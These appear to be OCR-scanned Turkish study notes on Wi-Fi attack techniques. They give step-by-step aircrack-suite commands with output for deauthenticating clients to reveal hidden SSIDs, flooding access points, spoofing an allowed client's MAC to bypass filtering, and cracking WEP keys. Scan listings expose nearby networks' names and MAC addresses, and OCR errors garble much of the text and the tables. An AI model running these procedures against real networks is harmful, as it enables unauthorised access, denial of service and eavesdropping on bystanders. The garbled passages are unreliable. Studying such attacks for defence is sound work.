AKktif kesif arac1 olan Netstumbler programi caligtig1 takdirde kapsama alaninda anons yapan tiim
aktif cihazlar tespit edebilir, fakat eger bir Access Point kendini tanitan anonsu yapmiyorsa o
Access Point Netstumbler tarafindan tespit edilemez. Dolayisiyla basit bir énlem olan SSID
saklama (beacon frame yayinini durdurma) Netstumbler'dan korunmay: saglayacaktir.

Pasif kesif araci olan Kismet ise Netstumbler'a gore oldukga fazla 6zellik icerir ve kotii niyetli
birinin eline gecerse tam bir gizli silaha doniisebilir. Kismet kablosuz ag adaptorlerini monitor
moda gegirerek etrafta olan biteni izler ve kaydeder. Boylece bulundugu ortamdaki tiim trafigi
gorerek calisan/calismayan tiim Access Point'leri ve tiim 6zelliklerini belirler. Sadece Access
Point'leri belirlemekle kalmaz bu cihazlara bagh tiim istemci cihazlarim1 ve bunlarin tiim
ozelliklerini belirleyebilir, daha da 6tesinde uctan uca sifreleme yoksa tiim trafigi avucun igine alip
dinleyebilir.

(Page 25)
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Kesif islemi sayesinde

- kablosuz agin sifreli olup olmadigy, sifreli ise WEP mi WPA m1 WPA2 mi kullanildig1
- aga bagh istemcilerin MAC adreslerinin ne oldugu

tespit edilebilir. Eger kablosuz aga sifresiz erisim varsa saldirgan ag arabirimini monitér moda
gecirerek hedef agdaki bilgisayarlarin

- MAC adreslerini
- IP adreslerini
- markalarim

tespit edebilecegi gibi ortamdaki TCP ve UDP trafiginin tiimiinii izleyebilir.

(Page 25)
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Gizli SSID'ye Sahip Access Point'lerin Kegfi // Pratik olarak denenmedi

Eger bir Access Point kendi SSID'sini gizlediyse Wireshark gibi bir yazilim yakaladig: paketlerdeki
beacon frame'lerinde yer alan SSID field'im1 bog goriir (e.g. SSID=" ") veyahut <length 8>
ibaresine sahip goriir (Length 8'den kasit SSID field'inin 8 karakterli olusundan dolayidir). Gizli
SSID'leri tespit etmek icin iki method vardir: Pasif ve Aktif.

e Pasif olarak gizli SSID'yi 6grenmek icin bir istemcinin Access Point'e baglanmasin
beklememiz gerekir. Istemci Access Point'e baglandiginda SSID bilgisini iceren Probe
Request frame'leri gonderir ve Access Point ise cevap olarak kendi SSID'sinin yazih oldugu
Probe Response frame'ini gonderir. Boylece izlenen ortamdaki gidip gelen frame'ler
icerisinde yazan SSID field'indan SSID bilgisini alarak gizli Access Point'i kesfetmis oluruz.

e Aktif olarak gizli SSID'yi 6grenmek icin bir istemciyi aireplay-ng ile deauthenticate edip
istemcinin SSID yazisina sahip Probe Request frame'i gondermesini saglariz. Bunun iizerine
de Access Point kendi SSID'sini iceren Probe Response frame'ini gonderir. Boylece
izledigimiz ortamda gidip gelen Probe Request ve Probe Response frame'lerindeki SSID
field'indan gizli SSID bilgisine erismis oluruz.

Sonug olarak pasif kesifte istemcinin hattan diismesini beklememiz gerekirken aktif kegifte
istemciyi elimizle hattan diisiiriiyoruz. Dolayisiyla pasif kesifte hic iz birakmadan SSID bilgisini
elde edebiliyorken aktif kesifte deauthenticate frame'leri ile network'te iz birakiyoruz. Pasif kesif bu
anlamda avantajli olmasina karsin ¢ok fazla zaman gerektiren bir siirectir. Zira kullanicinin ne
zaman kendi istegiyle deauthenticate olacagi belli degildir.

Pasif Olarak Gizli SSID'yi Ogrenmek

Pasif olarak SSID'sini gizleyen Access Point'in SSID'sini 6grenmek icin ag adaptoriinii airmon-ng
ile monitér moda gegirebiliriz ve Kismet yazilimi ile de ortamdaki paketleri dinleyebiliriz. Bu
islemi gerceklestirmek icin 6nce ag adaptoriinii monitér moda gecirelim:

> airmon-ng start wlan1

Ardindan kismet'i baglatarak ortamda gidip gelen tiim paketleri dinleyelim.
> kismet

Kismet ortami dinlerken isimsiz bir router'a paketler gittigini ve isimsiz bir router'dan paketler
geldigini fark edecektir ve o paketlerde taraflar sirayla birbirlerinin MAC adreslerini gonderecektir.
Dolayisiyla kismet hem istemcinin hem de router'n BSSID'sini (MAC adreslerini) tespit edebilmis
olacaktir. Fakat saldirganin router'a baglanabilmesi icin router'in SSID'sini bilmesi gerekir.
Dolayisiyla kismet acik vaziyette birakilir ve ortamdaki bir istemcinin agdan ¢ikip girmesi ya da
aga yeni bir istemcinin baglanmasi beklenilir. Bu baglanti igslemleri gerceklestiginde havada giden
SSID verisini kismet yakalayacaktir ve router'in anonsla SSID'sini duyurma islemini iptal etmesine
ragmen SSID bilgisine ulagilmig olacaktir. Asagida kismet'in ortamda yakaladig1 router'lar
listelenmektedir.



Kismet Sort View Windows
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Secili router'dan goriilebilecegi iizere kismet SSID'sini bilmedigi router i¢cin <Hidden SSID> demis.
Simdi ona cift tiklayalim ve detaylarim goriintiileyelim.

Ortamdaki bir istemci bu gizli SSID'li router'a baglandiginda otomatikmen kismet SSID'yi
yakalayacaktir ve asagidaki gibi router'in eksik bilgisi SSID satirini tespit ettigi degerle
dolduracaktir.




Goriildiigii tizere en bastaki Name bilgisi router'in SSID'si ile doldurulabilmistir.

Aktif Olarak Gizli SSID'yi Ogrenmek [ Pratik olarak denenmedi, ciinkii evdeki modemin SSID'si gizli degil]

Oncelikle kullamlacak ag adaptoriiniin interface adi 6grenilir.

> ifconfig
Output:
ethO Link encap:Ethernet HWaddr 20:cf:30:64:a9:d5
inet addr:192.168.2.201 Bcast:192.168.2.255 Mask:255.255.255.0
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
wlan0 Link encap:Ethernet HWaddr 48:5d:60:38:0a:ff
inet addr:192.168.2.70 Bcast:192.168.2.255 Mask:255.255.255.0
wlan2 Link encap:Ethernet HWaddr ec:08:6b:17:c4:24

UP BROADCAST MULTICAST MTU:1500 Metric:1

USB Wifi cihaz takil degilken wlan2 interface'i olmadigindan ve USB wifi cihazi takili oldugunda
wlan?2 interface'i oldugundan Usb Wifi cihazinin interface'inin wlan2 oldugunu anlariz. Interface'i
belirledikten sonra sectigimiz ag adaptorii monitér moda gegirmemiz gerekir.

> airmon-ng stop wlan2

> ifconfig wlan2 down
> airmon-ng start wlan2 4  // Channel 4 dinlenmeye baslanilir.

NOT: Ag adaptoriinii channel 4'ii dinler hale getirdik, ¢tinkii ilerideki asamalarda kullanacagimiz
router'in MAC adresi sonrasi program hata veriyor ve ilgili router'in channel 4'ii kullandigini
soyliiyor. Bu ytizden ag adaptoriinii channel 4'ten monitor moduna soktuk.

Ag adaptorii monitdr moda gecirildikten sonra ortamdaki router'lar listelemek i¢in airodump-ng
kullanilir.

> airodump-ng wlan2

Output:



hefese-N61Jg: /home/hefese
CH 9 ][ Elapsed: 36 s ][ 2016-04-30 07:04
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Listelenen router'lardan birinin MAC adresi (BSSID kolonundaki degeri) alinir ve béylece
sectigimiz router''ln MAC adresi asagidaki koda konarak sadece sectigimiz router'a ait ortamdaki
trafik verisi dosyalanmaya baglanir.

> airodump-ng -c 4 --bssid 18:28:51:FA:54:1A -w trafficFile wlan2

-c parametresi channel olarak 4'iin secilecegi bilgisini tasiyor.
--bssid parametresi segilen router'in MAC adresini tasir.
-w parametresi tafigin kaydedilecegi dosyanin adini tasir.

Output:

root@hefese-N61Jq: /home/hefese
root@hefese-N61Jq: /home/hefese x | root@hefese-N61Jq: /home/hefese x

CH 4 ][ Elapsed: 12 s ][ 2016-04-30 07:41
BSSID PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH E

18:28:61:FA:64:1A 0] 4 47 219 0] 4 54e WPA2 CCMP PSK A

BSSID STATION PWR Rate Lost Packets Probes

18:28:61:FA:64:1A 3C:C2:43:5E:ED:C8 i} fe- Oe e 222




Yukaridaki kod bir yandan dosyalama islemi yaparken bir yandan da anlik olarak yukaridaki ¢iktiy1
vermektedir. Yukaridaki ¢iktinin ilk kisminda sectigimiz router hakkinda detaylar yer almaktadir..
Ikinci kisminda ise router'a bagh istasyonlar (istemcileri) listelenmektedir. Istemcilerden birinin
MAC adresini secelim (zaten sadece bir istemci var goriiniiyor) ve o istemciyi deauthenticate etmek
icin asagidaki kodu kullanalim.

> aireplay-ng -0 5 -a 18:28:61:FA:64:1A -c 3C:C2:43:5E:ED:C8 wlan2

-0 ifadesi deauthenticate et manasina gelir.

5 sayis1 5 tane deauthenticate paketini istemciye gonder anlamina gelir.

-a parametresi daha 6nce belirledigimiz Access Point'in MAC adresini alir.
-Cc parametresi ise sectigimiz client'in mac adresini alir.

Bu deauthenticate islemi sonrasi istemcinin router'la baglantis1 kopacaktir ve istemci tekrar baglanti
kurmaya calisilacag siralarda ortama Probe Request yayininda bulunacaktir. Router ise Probe
Response ile istemciye ben buradayim diyecektir. Tiim bu siire¢ boyunca kullandigimiz yukaridaki
aireplay-ng komutundan bir énceki airodump-ng komutu ortamdaki trafigi dinlemeye devam
edeceginden dosyaya bu son frame'leri de ekleyecektir. Boylelikle bu frame'ler router'in SSID
bilgisini icerdiginden etraftan gizlenen SSID bilgisi 6grenilebilmis olunacaktir. $imdi dosyaya
kaydedilen Probe Request frame'ini gérmek icin airodump-ng'nin olusturdugu trafigi iceren pcap
uzantih trafficFile-01.pcap dosyasin1 Wireshark ile acalim.

Uygulamalar Yerler l: =z 2] Grg Nis 16, 18:55:33
Capturing from monQ [Wireshark 1.8.5 ]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
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21011 1008.1927680C A1 rtiesW_ld:0b:ad Arcadyan_e9:b4:d 802.11 133 Probe Response, SN=2259, FN=0, Flags=........ C, BI=200, SSID=BGA_Wifi
81013 1008.1929640C Arcadyan_e9:b4:df AlrtiesW_ld:0b:a 802.11 60 Authentication, SN=1, FN=0, Flags=........ [
81015 1008.1937110CAlrtiesW ld:0b:ad Arcadyan_e9:b4:d 802.11 60 Authentication, SN=2260, FN=0, Flags=........ [
81019 1008.2946610¢ Arcadyan_e9:ba:df AlrtiesW _1d:0b:a 802,11 106 Assoclatlion Request, SN=2, FN=0, Flags=........ C, SSID=BGA_Wifi
21021 1008.2965910C AlrtiesW_ld:0b:a4 Arcadyan_e9:b4:d 802.11 76 Assoclatlon Respense, SN=2261, FN=0, Flags=........ C H
81023 1008.2982310C A1 rtiesW_ld:0b:ad Arcadyan_e9:b4:d EAPOL 161 Key (Message 1 of 4)
/1075 1008. 29824300 Arcadvan e9:ha:df Airtiesw 1d:0h:a FAPOI 183 Kev (Massane 2 nf 4) =
(IT i D)
L R mm——————————— @
< Tagged parameters (28 bytes)
= Tag: SSID parameter set: BGA_Wifi
Tag Number: SSID parameter set (0)
Tag length: &
= Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec] H
Tag Number: Supported Rates (1)
Tag length: &
Supported Rates: 1(B) (ox82) S

Cummartad Datas- 2(R) (Aeoa)

0000 00 G0 la 00 2f 48 00 00 a4 dl 1f 42 00 0O GO 0O
2010 10 02 Se 09 a0 00 c3 00 Q0 00 40 Q0 3a Ol Q0 lc
0020 a8 1d Ob a4 00 23 08 e9 b4 df 00 1lc a8 1d Gb a4
@030 00 QO 0O 08 01 08 82 84
0040 8b 96 Oc 12 18 24 32 04 30 48 60 6c 10 35 a7 54

O Indicates the identity of an ESS or ... * Packets: 82659 Displayed: 66570 Marked: O Profile: Default

= root@kali: ~ [root@kali: ~) L1} Capturing from mon... W 1698 196.889523.. [EH root@kali: ~

Secili satirin yukarisinda listelenen frame'lerden goriilebilecegi gibi 6nce deauthenticate frame'leri
dinlemeye takilmis. Sonra ise secili satirda goziikt{igli gibi Probe Request frame'i dinlemeye



takilmus. Zaten olmasi gereken de bu. Once deauthenticate, sonra Probe Request frame'inin yayin.
Ekranda listelenen Probe Request frame'ine tikladigimizda alt blokta frame'in icine dair olan
gosterilen detaylardan SSID'nin BGA_Wifi oldugu tespit edilebilecektir. Boylece saldirgan kendini
saklayan router'n SSID'sini 6grenmis olacaktir ve bir sonraki saldirilarim koordinatlar belli adrese
yapabilecektir.

Bu siire¢ boyunca SSID bilgisine “iz birakarak” ulasmis olduk. Yani saldirgan istemciyi
deauthenticate etmek icin deauthenticate frame'lerini aga gonderdiginden ilgili cihazin (AP'nin mi
Station'in m1 bilmiyorum) log'larina kaydolacaktir. Dolayisiyla bu kaydedis bir saldir izinin kaydini
teskil edeceginden bu kesif yontemine aktif kesif yontemi denmektedir.

NOT: Wireshark'ta sadece deauthenticate frame'lerini gérmek icin

wlan.fc.type_subtype == 0x12

filtresi kullanmlabilir.

(Page 26-28)

20)

Netstumbler gibi araclar kesif esnasinda etrafa paket yaydiklari icin iz birakirlar. Fakat Kismet araci
kesif icin etrafa paket yayiminda bulunmadigindan iz birakmaz.

(Page 29)

21)

Kablosuz aglarda veriler havada ucustugu icin dinleme yapmak kablolu aglara gore daha bir
kolaydir.

(Page 29)

22)

WEP'ten sonra WPA ve WPA?2 ile kablosuz aglarda giivenlik yiikseltilmis olsa da bu giivenlik
tedbirleri sadece data frame'leri korumak igin gelistirilmisti. Ornegin management frame'ler icin
uygulanan herhangi bir 6nlem yoktur. Yani management frame'ler sifresiz ve manipule edilebilir
halde birakilmistir. Management Frame'ler konusunda bir giivenlik tedbirinin alinmayisindan dolay1
kablosuz aglar DOS ataklara karsi giicsiiz durumda kalmistir.



Web ve DNS server'larina karsi uygulanan HTTP Flood, TCP SYN Flood, ICMP Flood gibi DOS
saldirilan kablosuz aglara da uygulanabilmektedir. Ancak kablosuz aglara has baz1 DOS saldirilari
da vardir. Bu saldirlar iletisimin frame'lerle saglandigi OSI modelinin ikinci katmanina denk diisen
Data Link katmanina uygulanir. Fiziksel katmana gelecek olursak bu katmandaki sinyaller jammer
ile bozularak iletisim sekteye ugratilabilir.

Kablosuz aglarda yapilan DOS saldirilarina Authentication / Association Flood ve Deauthentication
/ Disassociation Flood saldirilar érnek olarak verilebilir. Hatirlarsan bir istemci Access Point ile
baglanti kurmak i¢in kabaca su asamalardan ge¢mekteydi.

1. Authentication Request (client ------ > router)
2. Authentication Response (client <----- router)
3. Association Request (client ------ > router)
4. Association Response (client <----- router)

NOT: Bir istemci birden fazla Access Point ile Authentication baglantisi kurabilirken sadece bir
Access Point ile association baglantisi kurabilir. Yani association'1 kenetlenme olarak gorebiliriz.
Istemci bir router'a kenetlendi mi o router'dan kopana kadar bagka router'la kenetlenemez.

23)
Association islemi i¢in 6nce authentication islemi sarttir.

(page 30)

24)

IEEE 802.11w ile Management Frame'ler sifreli olarak gonderilmektedir. Fakat 802.11w standard:
heniiz yayginlasmamustir.

(Page 31)

25)

Authentication Saldirisi

Etraftaki router'lar1 ve router'lara bagh istemcileri kesfetmek i¢in airodump-ng ya da Kismet
kullanilabilir. Bu islem sonrasi authentication ataginda bulunmak icin aireplay-ng tool'u
kullanilabilir.

> aireplay-ng --deauth 20 -a Access_Point_ MAC_Adresi -c Client_ MAC_Adresi mon0



Bu tool gonderecegi deauthentication frame'leri ile istemcinin Router'la olan baglantisin1 koparir.
Broadcast MAC adresine yapilacak bir deauthentication saldirisi ile kablosuz agdaki tiim istemciler
agdan diistirtilebilir.

NOT: Eger merak ettiysen bastan sonra deauthenticate isleminin nasil gerceklestigini Tez
Raporu/Internetten Edinilen Kiymetli Bilgiler/Elden Gegirdigim Notlar/Aircrack ile Hedefi Hattan
Diigiirme.docx dosyasinda gorebilirsin.
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25)

Association Flood Saldirisi

Access Point'ler association saglanmis her istemci icin kendi belleklerinde bir tablo tutarlar. Access
Point'lerin bellekleri sonugta sinirl oldugu icin bu saldirida tablonun doldurulmas: amaglanir.
Bunun i¢in siirekli degisen MAC adresleri ile Access Point'e association istekleri gonderilir.
Boylece tablosu dolan Access Point yeni isteklere cevap veremez duruma gelecektir.

(Page 30)

26)

MAC Adres Bazl Erisim iznini Atlatma [ Bu teknigi pratik olarak DENEMEDIM!]

Kablosuz aglar icin uygulanan giivenlik 6nlemlerinden birinin MAC adres bazl erisim izni
oldugundan bahsetmistik. Bir¢ok switch veyahut modem tarafindan desteklenen bu 6zellik ile
sadece belirli MAC adreslerine sahip cihazlarin aga baglanmasina izin verilir. Fakat bu koruma
teknigi aga bagh kullanicilarin tespit edilmesiyle atlatilabilmektedir. Bu islem kabaca su asamalar
ile gerceklesir:

I. Adim : Hedef aga baglanmaya izinli istemcilerin tespiti

II. Adim : Hedef aga baglanmaya izinli istemcilerden birinin MAC adresini kendi MAC adresimiz
yapma

I1I. Adim : izinli MAC'e sahip asil cihaza deauthenticate frame'leri gonderirken aym mac'i kendi

mac adresimiz yaptigimiz cihaz ile aga baglanma tesebbiisiinde bulunma

Yukaridaki adimlan sirasiyla gergeklestirelim. lk olarak usb wifi cihazin1 monitér moda
gecirmemiz gerekmektedir. Bunun igin usb wifi cihazim bilgisayara takalim ve Ubuntu
masaiistiiniin sag iist kosesinde yer alan internet simgesine tiklayip usb wifi bir aga baglanmissa
disconnect edelim. Ardindan USB wifi'in interface adim1 6grenmek icin asagidaki kodu girelim:

> ifconfig

Output:



ethO Link encap:Ethernet HWaddr 20:cf:30:64:a9:d5

inet addr:192.168.2.201 Bcast:192.168.2.255 Mask:255.255.255.0
lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

wlan0 Link encap:Ethernet HWaddr 48:5d:60:38:0a:ff

inet addr:192.168.2.70 Bcast:192.168.2.255 Mask:255.255.255.0
wlan2 Link encap:Ethernet HWaddr ec:08:6b:17:c4:24

UP BROADCAST MULTICAST MTU:1500 Metric:1

USB Wifi cihaz1 takih degilken wlan2 interface'i olmadigindan ve USB wifi cihazi takili oldugunda
wlan?2 interface'i oldugundan Usb Wifi cihazinin interface'inin wlan2 oldugunu anlariz. Simdi bu
interface adimi kullanarak asagidaki kodlar: terminale girelim.

> airmon-ng stop wlan2 // USB Dongle'imizin monitor modu eger agiksa disable edilir.
> ifconfig wlan2 down // USB Dongle'imizin ¢alismasi sonlandirilir.

> airmon-ng start wlan2 // USB Dongle'imiz “monitor mod”da tekrar baglatilir.

> airodump-ng wlan2 // USB Dongle'imiz etrafi sniff'lemeye baglar.

Son girilen kod output olarak USB Wifi'in etrafta tespit ettigi router'lar1 siralayacaktir.

hefese-N61Jg: /home/hefese
CH 9 ][ Elapsed: 36 s ][ 2016-04-30 07:04
BSSID PWR Beacons #Data, #/s 1 CIPHER AUTH ESSID

CCMP PSK audio78

CCMP PSK EMNESS5706

CCMP PSK TTNET_HUAWEI_4ACT

CCMP PSK TTNET_HUAWEI_S93A3

CCMP PSK PINAR

CCMP PSK Zyxel03

CCMP PSK TTNET_TPLINK_4EF0®

CCMP PSK GENCFENERBAHCE

CCMP PSK Yaman

WEP Metronet

WEP ZyXEL

TKIP 20kebabeci19

CCMP VodafoneNet-BZUNAA

CCMP Sertkaya
AirTies AirS5341
Incaramazan
dsmart_o81e
EMRECAN
Kat4Daires8
TTNET_TPLINK_24D3

18:28:61:B7:33:88
14:CC:20:A8:8B:7A
08:63:61:9A:4A:D0
14:B9:68:D7:93:B4
BC:F6:85:4E:62:D3
18:28:61:18:82:21
F8:1A:67:87:4E:F0O

EA:36:28
EC:CB:30:CE:4E:2C
C8:3A:35:FB:C4:40
50:67:FO:8D:73:E1
88:41:FC:00:EB:DF
0C:D6:BD:4A:18:E4
24:09:95:89:9C:28

2
5
4
2
8
3
3
4
7
7

:37:90:3F
C4:6E:1F:EC:00:83
E8:DE:27:73:CF:57
F4:E3:FB:B9:97:F3
64:66:B3:55:24:D3

QOO 00000202 Q
QOO QQQOEO R OO WO R OO
OO QD D000 D




Siralanan router'lardan birini secelim ve sectigimiz router'in BSSID'sini (MAC'ini) ve ¢alistig1
channel numarasini bir koseye not edelim. Bu not ettigimiz iki degeri asagidaki koda ekleyerek
sectigimiz router'a bagh istemcileri tespit edelim.

> airodump-ng mon0 --bssid 118:28:61:FA:64:1A -c4 // Yukaridaki output'a gore be-
// lirlenen router channel 4'te
// calistigindan -c 4 denmistir.

Output:

) root@hefese-N61Jq: fhome/hefese
root@hefese-N61Jq: fhome/hefese %X  root@hefese-N61Jqg: /fhome/hefese X
CH 4 ][ Elapsed: 12 s ][ 2016-04-30 07:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E

18:28:61:FA:64:1A e 4 47 219 @ 4 54e WPA2 CCMP  PSK A

BSSID STATION PWR  Rate Lost Packets Probes

18:28:61:FA:64:1A 3C:C2:43:5E:ED:C8 0 Qe- Oe 0 222

Yukaridaki kodun siralayacagi client'lardan birinin BSSID'sini (MAC'ini) alalim. (Yukaridaki
ciktiya gore secilen router'a bagh sadece bir client tespit edilebilmistir). Aldigimiz MAC adresini
kendi MAC adresimiz yapalim.

> ifconfig wlan2 down
> macchanger -m 3C:C2:43:5E:ED:C8 wlan2 // Belirlenen Client'n MAC'i
> ifconfig wlan2 up

Boylece MAC adresimiz client'inkiyle tipa tip ayni olmus olur. Simdi client'1 deauthenticate ederek
hattan diigiirelim. Ciinkii ayn1 agda ayn1 MAC adresli iki cihaz barinamaz.

> aireplay-ng --deauth 50 -a 18:28:61:FA:64:1A -c 3C:C2:43:5E:ED:C8 mon0
50 sayisi client'a gonderilecek deauthenticate frame'lerinin sayisini temsil eder. Ne kadar cok
gonderilirse o kadar fazla siire boyunca client hatta baglanamaz.
-a parametresi router'in (Access Point'in) MAC'ini tutar.
-c parametresi client'in MAC'ini tutar.
mon0 argiimani ise USB Wifi Dongle'imizin monitor moda gectikten sonra olusturdugu interface'i

temsil eder.

Deauthenticate frame'leri client't mesgul ederken, yani hattan uzaklastirirken, biz yeni (sahte) MAC



adresimizle router'a baglanma tegebbiisiinde bulundugumuzda sahte MAC adresimiz router
tarafindan izinli goriileceginden router bizi aga dahil edecektir ve boylece router'in mac adres bazlh
erisim kontrolii atlatilmis olacaktir.

(Page 31-32)

27)
Kablosuz aglarda bilginin gizliligi ve giivenligi amaciyla kullanilan ii¢ gesit sifreleme protokolii
vardir. WEP icin WEP, WPA icin TKIP ve WPA-2 icin CCMP sifreleme protokolleri data

frame'leri sifrelemek icin kullanilir.

WEP/WPA/WPA2 karsilastirma tablosu

Kimlik Dogrulama Sifreleme
WEP Open/Shared Key WEP
WPA(Kisisel) PSK TKIP
WPA2(Kisisel) PSK AES- CCMP
WPA(Kurumsal) 802.1x TKIP
WPA2(Kurumsal) 802.1x AES-CCMP

Sol siitun kablosuz aglardaki giivenlik standartlarini icermektedir. Ortadaki siitun kullanilan
authenticate yontemini gostermektedir. Sag siitun ise ilgili kablosuz ag standardinin kullandig:
sifreleme protokoliinii géstermektedir.

(Page 33)

28)
WEP Protokolii Parola Kirma Islemi

[ Bu teknigi pratik olarak DENEMEDIM! Ciinkii modemim WEP degil, WPA2]

[ Not: Bu teknigi bir sonraki maddede DENEDIM! Ciinkii modemimi WEP’e Déniistiirebildim ]
WEP parolalarini kirma islemi hedef AP'ye baglh istemcinin olup olmamasina, hangi paketlerin
toplandigina ve kirma algoritmasinin yapisina gore degisiklik gostermektedir. WEP protokolii ile
korunan bir router'in sifresini kirmak igin ilk olarak usb wifi cihazini monitér moda gecirmemiz
gerekmektedir. Bunun i¢in usb wifi cihazini bilgisayara takalim ve Ubuntu masaiistiiniin sag st

kosesinde yer alan internet simgesine tiklayip usb wifi bir aga baglanmigsa disconnect edelim.
Ardindan USB wifi'in interface adini 6grenmek icin asagidaki kodu girelim:

> ifconfig



Output:

ethO Link encap:Ethernet HWaddr 20:cf:30:64:a9:d5
inet addr:192.168.2.201 Bcast:192.168.2.255 Mask:255.255.255.0

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0
wlan0 Link encap:Ethernet HWaddr 48:5d:60:38:0a:ff

inet addr:192.168.2.70 Bcast:192.168.2.255 Mask:255.255.255.0
wlan2 Link encap:Ethernet HWaddr ec:08:6b:17:c4:24

UP BROADCAST MULTICAST MTU:1500 Metric:1

USB Wifi cihaz1 takil degilken wlan2 interface'i olmadigindan ve USB wifi cihazi takili oldugunda
wlan?2 interface'i oldugundan Usb Wifi cihazinin interface'inin wlan2 oldugunu anlariz. Simdi bu
interface adimi kullanarak asagidaki kodlar: terminale girelim.

> airmon-ng stop wlan2 // USB Dongle'imizin monitor modu eger agiksa disable edilir.
> ifconfig wlan2 down // USB Dongle'imizin ¢alismasi sonlandirilir.
> airmon-ng start wlan2 1~ // USB Dongle'imiz monitor modda ve channel 1'de baslatilir.

NOT: Airmon-ng'nin aldigi 1 numarasi usb wifi'in dinleyecegi channel'l ifade eder. Channel 1'in
secilmesinin nedeni sonraki asamalarda, secilen modem'in channel 1'ten ¢alistigi hatasini
vermesinden dolayidir. Bir baska router secildiginde eger baska bir channel hata olarak veriliyorsa
o zaman bu asamaya doniiltip channel'in istenilen degerde girilmesi gerekmektedir.

Son kod girildikten sonra eger islem basarili olduysa asagidaki output ekrana gelir:

Output:
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them.

PID Name
7301 dhclient

Interface Chipset Driver
wlan?2 Atheros AR9271 ath9k — [phy0]
(monitor mode enabled on mon0)

Dikkat edilirse wlan2 interface'i ayr1 bir interface ile monitor moda alinmistir. Yani monitor modda
olan interface su an wlan2'nin kardesi olan mon0 'dur. Dolayisiyla sonraki kodlarda monitor modda
olan monO interface'i kullanilacaktir. $imdi etraftaki router'lar tespit etmek icin airodump-ng'yi
kullanalim:



> airodump-ng wlan2 // USB Dongle'imiz etrafi sniff'lemeye baglar.

hefese-N61Jq: /home/hefese

CH 9 ][ Elapsed: 36 s ][ 2016-04-30 07:04
BSSID PWR Beacons #Data, #/s C CIPHER AUTH ESSID

18:28:
14:CC:
08:63:
14:B9:
BC:F6:
18:28:
F8:1A:
18:28:
EC:CB:
CB:3A:
50:67:
88:

CCMP PSK audio78

CCMP PSK EMNES5706

CCMP PSK TTNET_HUAWEI_4AC7Y

CCMP PSK TTNET_HUAWEI_93A3

CCMP PSK PINAR

CCMP PSK Zyxel83

CCMP PSK TTMET_TPLINK_4EF0

CCMP PSK GENCFENERBAHCE

CCMP PSK Yaman

WEP Metronet

WEP ZyXEL

TKIP 20kebabci19

CCMP VodafoneNet-BZUNAA

CCMP sertkaya
AlrTies Air5341
Incaramazan
dsmart_0810
EMRECAN
Kat4Daires8
TTNET_TPLINK_24D3

2
=
4
2
8
3
3
4
7
7

Q00 0QEl0 0000000000000
QO OCEIO =m0 W00 ROOAEQ
Q00 0QEl0 0000000000000

WEP sifre kirma iglemi icin USB Wifi'imizin paket injection destekleyip desteklemedigini
ogrenmemiz gerekir. Bunun i¢cin yukaridaki ¢iktidan bir router secip onun MAC adresini
(BSSID'sini) asagidaki kodda kullanalim.

> aireplay-ng -9 -a 18:28:61:FA:64:1A mon0

-9 injection testi yap anlamina gelir.
-a router'n MAC'ini alir.
mon0 usb wifi'tmizin monitor moddaki interface'inin adidir.

Sayet cikt1 asagidaki gibi olursa demek ki USB Wifi'lmiz packet injection 6zelligine sahiptir denir.

Output:
03:11:10 Waiting for beacon frame (BSSID: 18:28:61:FA:64:1A) on channel 4
03:11:11 Trying broadcast probe requests...
03:11:11 Injection is working!
03:11:12 Found 1 AP

03:11:12 Trying directed probe requests...

03:11:12 18:28:61:FA:64:1A - channel: 4 - 'AirTies_Air5341'

03:11:13 Ping (min/avg/max): 1.204ms/25.796ms/69.065ms Power: 0.00
03:11:13 30/30: 100%

Simdi hedef router'a ait trafigi (yani IV paketlerini) kaydetmek amaciyla airodump-ng aracini
kullanalim.



> airodump-ng -c 4 --bssid 18:28:61:FA:64:1A -w WEP_Dump mon0

-c parametresi hedef router'in calistig1 channel'1 ifade eder.
--bssid ile hedef router'n MAC!'i belirtilir.
-w ile trafigin kaydedilecegi dosya ismi belirtilir.

Eger WEP protokoliinii kullanan hedef router Open Authentication kullaniyor ise bu tiim
istemcilerin router'a baglanabilecegi anlamina gelir. Fakat router'a “dogru WEP anahtar1”yla
sifrelenmis paket gonderilmedigi takdirde router gelen paketleri kabul etmeyecektir ve hattan
diistirecektir. Bu nedenle hedef router'a paket enjeksiyonu yapabilmek i¢in 6ncelikle MAC
adresimizin authentication ve association asamalarini gegcmesi gerekmektedir. Bu asamalari
gectigimiz takdirde hedef router paketlerimizi kabul eder duruma gelmis olacaktir. Dolayisiyla
simdi hedef router'la authentication ve association baglantisi kuralim:

> aireplay-ng -1 0 -a 18:28:61:FA:64:1A -h 00:11:22:33:44:55 mon0

-1 sahte authentication yap anlamina gelir.

0 reassociation yapma zamanini belirtir.

-a router''n MAC'ini tutar.

-h bizim cihazimizin MAC'ini tutar. ifconfig ile MAC adresimizi 6grenebiliriz.

Output:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Simdi baglantiy1 kurabildigimize gore sira agdaki ARP paketlerini dinlemeye ve sonra
dinlediklerimizi aga tekrar enjekte etmeye gelmistir. ARP paketlerini dinliyor olmamizin nedeni
kisa siire igerisinde olabildigince ¢cok IV degeri toplamamizi saglayacagi icindir. Dolayisiyla
asagidaki kod terminale girilir:

> aireplay-ng -3 -b 18:28:61:FA:64:1A mon0 --ignore-negative-one
-3 dinlenen arp request'lerini yakalamaya ve aga geri enjekte etmeye yarar.

Output:
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.

Read 982 packets (got 316283 ARP requests), sent 140 packets...

Read 1132 packets (got 153 ARP requests and 149 ACKS), sent 189 packets...
Read 1287 packets (got 204 ARP requests and 186 ACKS), sent 239 packets...
Read 1433 packets (got 273 ARP requests and 230 ACKs), sent 290 packets...



Read packet sayisi yaklasik 40.000 oldugunda CTRL+C ile islem kesilebilir. Daha sonra aircrack-
ng ile airodump-ng'nin cap uzantih WEP_Dump dosyasina kaydettigi [V'lerden sifre elde edilmeye
cahsilir:

> aircrack-ng -b 18:28:61:FA:64:1A WEP_Dump-01.cap

-b ile hedef router'in MAC'i belirtilir.

